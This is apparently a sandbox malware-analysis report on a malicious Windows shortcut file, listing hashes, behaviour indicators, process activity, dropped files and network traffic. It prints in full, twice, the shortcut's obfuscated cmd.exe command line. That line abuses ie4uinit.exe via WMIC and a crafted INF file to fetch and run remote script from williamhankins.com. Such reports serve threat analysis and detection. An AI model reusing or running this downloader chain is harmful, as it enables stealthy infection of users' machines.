| File name: | 822e1359b7e7eabc9199a055fd772819176d2e5cae63d0d24787579634d45d42.lnk |
| Full analysis: | https://app.any.run/tasks/5577d318-d5af-4896-a39d-9d9c2428e6c2 |
| Verdict: | Malicious activity |
| Analysis date: | December 15, 2021, 15:02:41 |
| OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
| Indicators: | |
| MIME: | application/octet-stream |
| File info: | MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Icon number=97, Archive, ctime=Sun Dec 31 23:06:32 1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=236544, window=hide |
| MD5: | 304F4211F9F51E2363BC782F80A0B9FB |
| SHA1: | DEB2B1EA8B3FF8D73435B7051CF3E7BEEB0A7E93 |
| SHA256: | 822E1359B7E7EABC9199A055FD772819176D2E5CAE63D0D24787579634D45D42 |
| SSDEEP: | 48:8mpLgBxh/NPOyX2jMM+KBfMHM2lRBfGyfJEbI5:8mpyQMcfMlUVc |
MALICIOUS
Drops executable file immediately after starts
- cmd.exe (PID: 3416)
Application was dropped or rewritten from another process
- ie4uinit.exe (PID: 488)
- ie4uinit.exe (PID: 3492)
SUSPICIOUS
Executable content was dropped or overwritten
- cmd.exe (PID: 3416)
Checks supported languages
- cmd.exe (PID: 3416)
- WMIC.exe (PID: 3656)
- ie4uinit.exe (PID: 488)
- ie4uinit.exe (PID: 3492)
Reads the computer name
- WMIC.exe (PID: 3656)
- ie4uinit.exe (PID: 488)
- ie4uinit.exe (PID: 3492)
Creates files in the user directory
- cmd.exe (PID: 3416)
Uses WMIC.EXE to create a new process
- cmd.exe (PID: 3416)
Drops a file that was compiled in debug mode
- cmd.exe (PID: 3416)
Executed via WMI
- ie4uinit.exe (PID: 488)
Application launched itself
- ie4uinit.exe (PID: 488)
Removes files from Windows directory
- ie4uinit.exe (PID: 488)
Creates files in the Windows directory
- ie4uinit.exe (PID: 488)
INFO
No info indicators.
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TRiD
| .lnk | | | Windows Shortcut (100) |
|---|
EXIF
LNK
| MachineID: | - |
|---|---|
| IconFileName: | imageres.dll |
| CommandLineArguments: | /v /c set "xkHcMZ8774=set" && call set "xkHcMZ3158=%xkHcMZ8774:~0,1%" && (for %b in (c) do @set "xkHcMZ3860=%~b") && !xkHcMZ3158!et "xkHcMZ49524=$w" && set "xkHcMZ7707=i" && set "xkHcMZ9130=a" && set "xkHcMZ5622=t" && !xkHcMZ3158!et "xkHcMZ02917=d" && set "xkHcMZ8922=." && set "xkHcMZ34246=init" && set "xkHcMZ85701=si" && set "xkHcMZ35882=e" && set "xkHcMZ56975=settings" && set "xkHcMZ51776=!xkHcMZ8922!inf" && set "xkHcMZ6296=ieu!xkHcMZ34246!!xkHcMZ51776!" && call !xkHcMZ3158!et "xkHcMZ01439=%app!xkHcMZ02917!ata%\Micro!xkHcMZ3158!oft\" && !xkHcMZ3158!et "xkHcMZ51087=!xkHcMZ01439!!xkHcMZ6296!" && set "xkHcMZ3287="^" && (for %f in ("[version]" "signature = !xkHcMZ49524!indows ntf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[!xkHcMZ02917!e!xkHcMZ3158!tinationdirs]" "01CAC=01" "[!xkHcMZ02917!efaultin!xkHcMZ3158!tall.windows7]" "UnRegis!xkHcMZ5622!erOCXs=525B" "!xkHcMZ02917!elf!xkHcMZ7707!les=01CAC" "[525B]" "%11%\scRo%xkHcMZ07955%j,NI,%xkHcMZ42534%%xkHcMZ47574%%xkHcMZ47574%p%xkHcMZ97627%%xkHcMZ5124%%xkHcMZ5124%williamhankins!xkHcMZ8922!%xkHcMZ5302%/kal5bgh7o2" "[01CAC]" "ieu%xkHcMZ74703%!xkHcMZ51776!" "[!xkHcMZ3158!!xkHcMZ5622!rings]" "xkHcMZ74703=!xkHcMZ34246!" "xkHcMZ47574=t" "!xkHcMZ3158!ervicen!xkHcMZ9130!me=' '" "xkHcMZ42534=h" "xkHcMZ97627=:" "xkHcMZ5124=/" "!xkHcMZ3158!hortsvcn!xkHcMZ9130!me=' '" "xkHcMZ5302=com" "xkHcMZ07955=b") do @e!xkHcMZ3860!ho %~f)>"!xkHcMZ51087!" && !xkHcMZ3158!et "xkHcMZ5079=ie4u!xkHcMZ34246!.!xkHcMZ35882!xe" && call copy /Y %win!xkHcMZ02917!ir%\!xkHcMZ3158!ystem32\!xkHcMZ5079! "!xkHcMZ01439!" > nul && !xkHcMZ3158!t!xkHcMZ9130!rt "" /MIN wmi!xkHcMZ3860! proce!xkHcMZ3158!s call !xkHcMZ3860!rea!xkHcMZ5622!e "!xkHcMZ01439!!xkHcMZ5079! -base!xkHcMZ56975!" |
| RelativePath: | ..\..\..\..\..\ |
| LocalBasePath: | - |
| VolumeLabel: | - |
| DriveType: | Fixed Disk |
| TargetFileDOSName: | - |
| HotKey: | (none) |
| RunWindow: | Normal |
| IconIndex: | 97 |
| TargetFileSize: | 236544 |
| FileAttributes: | Archive |
| Flags: | IDList, LinkInfo, RelativePath, CommandArgs, IconFile, Unicode, ExpString |
Total processes
41
Monitored processes
4
Malicious processes
1
Suspicious processes
1
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 488 | C:\Users\admin\AppData\Roaming\Microsoft\ie4uinit.exe -basesettings | C:\Users\admin\AppData\Roaming\Microsoft\ie4uinit.exe | wmiprvse.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: IE Per-User Initialization Utility Exit code: 0 Version: 11.00.9600.19597 (winblue_ltsb_escrow.191216-1311) Modules
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| 3416 | "C:\Windows\System32\cmd.exe" /v /c set "xkHcMZ8774=set" && call set "xkHcMZ3158=%xkHcMZ8774:~0,1%" && (for %b in (c) do @set "xkHcMZ3860=%~b") && !xkHcMZ3158!et "xkHcMZ49524=$w" && set "xkHcMZ7707=i" && set "xkHcMZ9130=a" && set "xkHcMZ5622=t" && !xkHcMZ3158!et "xkHcMZ02917=d" && set "xkHcMZ8922=." && set "xkHcMZ34246=init" && set "xkHcMZ85701=si" && set "xkHcMZ35882=e" && set "xkHcMZ56975=settings" && set "xkHcMZ51776=!xkHcMZ8922!inf" && set "xkHcMZ6296=ieu!xkHcMZ34246!!xkHcMZ51776!" && call !xkHcMZ3158!et "xkHcMZ01439=%app!xkHcMZ02917!ata%\Micro!xkHcMZ3158!oft\" && !xkHcMZ3158!et "xkHcMZ51087=!xkHcMZ01439!!xkHcMZ6296!" && set "xkHcMZ3287="^" && (for %f in ("[version]" "signature = !xkHcMZ49524!indows ntf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[!xkHcMZ02917!e!xkHcMZ3158!tinationdirs]" "01CAC=01" "[!xkHcMZ02917!efaultin!xkHcMZ3158!tall.windows7]" "UnRegis!xkHcMZ5622!erOCXs=525B" "!xkHcMZ02917!elf!xkHcMZ7707!les=01CAC" "[525B]" "%11%\scRo%xkHcMZ07955%j,NI,%xkHcMZ42534%%xkHcMZ47574%%xkHcMZ47574%p%xkHcMZ97627%%xkHcMZ5124%%xkHcMZ5124%williamhankins!xkHcMZ8922!%xkHcMZ5302%/kal5bgh7o2" "[01CAC]" "ieu%xkHcMZ74703%!xkHcMZ51776!" "[!xkHcMZ3158!!xkHcMZ5622!rings]" "xkHcMZ74703=!xkHcMZ34246!" "xkHcMZ47574=t" "!xkHcMZ3158!ervicen!xkHcMZ9130!me=' '" "xkHcMZ42534=h" "xkHcMZ97627=:" "xkHcMZ5124=/" "!xkHcMZ3158!hortsvcn!xkHcMZ9130!me=' '" "xkHcMZ5302=com" "xkHcMZ07955=b") do @e!xkHcMZ3860!ho %~f)>"!xkHcMZ51087!" && !xkHcMZ3158!et "xkHcMZ5079=ie4u!xkHcMZ34246!.!xkHcMZ35882!xe" && call copy /Y %win!xkHcMZ02917!ir%\!xkHcMZ3158!ystem32\!xkHcMZ5079! "!xkHcMZ01439!" > nul && !xkHcMZ3158!t!xkHcMZ9130!rt "" /MIN wmi!xkHcMZ3860! proce!xkHcMZ3158!s call !xkHcMZ3860!rea!xkHcMZ5622!e "!xkHcMZ01439!!xkHcMZ5079! -base!xkHcMZ56975!" | C:\Windows\System32\cmd.exe | Explorer.EXE | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Command Processor Exit code: 0 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) Modules
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| 3492 | C:\Users\admin\AppData\Roaming\Microsoft\ie4uinit.exe -ClearIconCache | C:\Users\admin\AppData\Roaming\Microsoft\ie4uinit.exe | — | ie4uinit.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: IE Per-User Initialization Utility Exit code: 0 Version: 11.00.9600.19597 (winblue_ltsb_escrow.191216-1311) Modules
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| 3656 | wmic process call create "C:\Users\admin\AppData\Roaming\Microsoft\ie4uinit.exe -basesettings" | C:\Windows\System32\Wbem\WMIC.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: WMI Commandline Utility Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) Modules
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Total events
759
Read events
666
Write events
93
Delete events
0
Modification events
| (PID) Process: | (488) ie4uinit.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\International\Scripts\3 |
| Operation: | write | Name: | IEPropFontName |
Value: Times New Roman | |||
| (PID) Process: | (488) ie4uinit.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\International\Scripts\3 |
| Operation: | write | Name: | IEFixedFontName |
Value: Courier New | |||
| (PID) Process: | (488) ie4uinit.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\International\Scripts\4 |
| Operation: | write | Name: | IEPropFontName |
Value: Times New Roman | |||
| (PID) Process: | (488) ie4uinit.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\International\Scripts\4 |
| Operation: | write | Name: | IEFixedFontName |
Value: Courier New | |||
| (PID) Process: | (488) ie4uinit.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\International\Scripts\5 |
| Operation: | write | Name: | IEPropFontName |
Value: Times New Roman | |||
| (PID) Process: | (488) ie4uinit.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\International\Scripts\5 |
| Operation: | write | Name: | IEFixedFontName |
Value: Courier New | |||
| (PID) Process: | (488) ie4uinit.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\International\Scripts\6 |
| Operation: | write | Name: | IEPropFontName |
Value: Times New Roman | |||
| (PID) Process: | (488) ie4uinit.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\International\Scripts\6 |
| Operation: | write | Name: | IEFixedFontName |
Value: Courier New | |||
| (PID) Process: | (488) ie4uinit.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\International\Scripts\7 |
| Operation: | write | Name: | IEPropFontName |
Value: Sylfaen | |||
| (PID) Process: | (488) ie4uinit.exe | Key: | HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\International\Scripts\7 |
| Operation: | write | Name: | IEFixedFontName |
Value: Sylfaen | |||
Executable files
1
Suspicious files
0
Text files
6
Unknown types
2
Dropped files
PID | Process | Filename | Type | |
|---|---|---|---|---|
| 3416 | cmd.exe | C:\Users\admin\AppData\Roaming\Microsoft\ieuinit.inf | ini | |
MD5:— | SHA256:— | |||
| 488 | ie4uinit.exe | C:\Windows\Temp\OLD7200.tmp | ini | |
MD5:— | SHA256:— | |||
| 488 | ie4uinit.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\brndlog.txt | text | |
MD5:— | SHA256:— | |||
| 488 | ie4uinit.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\Tiles\pin9728060290\msapplication.xml | xml | |
MD5:— | SHA256:— | |||
| 3416 | cmd.exe | C:\Users\admin\AppData\Roaming\Microsoft\ie4uinit.exe | executable | |
MD5:ACA03178C248B32343B03F4B9ACCE1B9 | SHA256:C3612DA14216A2F5872BD0D140A76D1A257E9668EFA46A5CED5419E51ED30B49 | |||
| 488 | ie4uinit.exe | C:\Users\admin\AppData\Local\Microsoft\Internet Explorer\brndlog.bak | text | |
MD5:E9E473C9777B0C24D50EE8C972A78FE2 | SHA256:90BE32975E76E679B01FF719148DF508CBBE2D7F2C47D93201F33A31994B4174 | |||
| 488 | ie4uinit.exe | C:\Users\admin\AppData\Local\Temp\www729E.tmp | url | |
MD5:873C8643CBBFB8FF63731BC25AC9B18C | SHA256:C4AD21379C11DA7943C605EADB22F6FC6F54B49783466F8C1F3AD371EB167466 | |||
| 488 | ie4uinit.exe | C:\Users\admin\AppData\Local\Temp\www72CE.tmp | url | |
MD5:C2858B664C882DCCE6042C40041F6108 | SHA256:B4A6FB97B5E3F87BCD9FAE49A9174E3F5B230A37767D7A70BF33D151702EFF91 | |||
| 488 | ie4uinit.exe | C:\Users\admin\Favorites\Links\Web Slice Gallery.url | text | |
MD5:1E7E5E93C2A5AADAF932F93D25C57F3E | SHA256:8B94D04FECE582E4182E8E73F46FB86EB8E965C69C526C42805ABB9E43641E35 | |||
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HTTP(S) requests
1
TCP/UDP connections
2
DNS requests
1
Threats
0
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
488 | ie4uinit.exe | GET | 200 | 13.58.15.217:80 | http://williamhankins.com/kal5bgh7o2 | US | — | — | unknown |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
488 | ie4uinit.exe | 13.58.15.217:80 | williamhankins.com | Amazon.com, Inc. | US | unknown |
DNS requests
Domain | IP | Reputation |
|---|---|---|
williamhankins.com |
| unknown |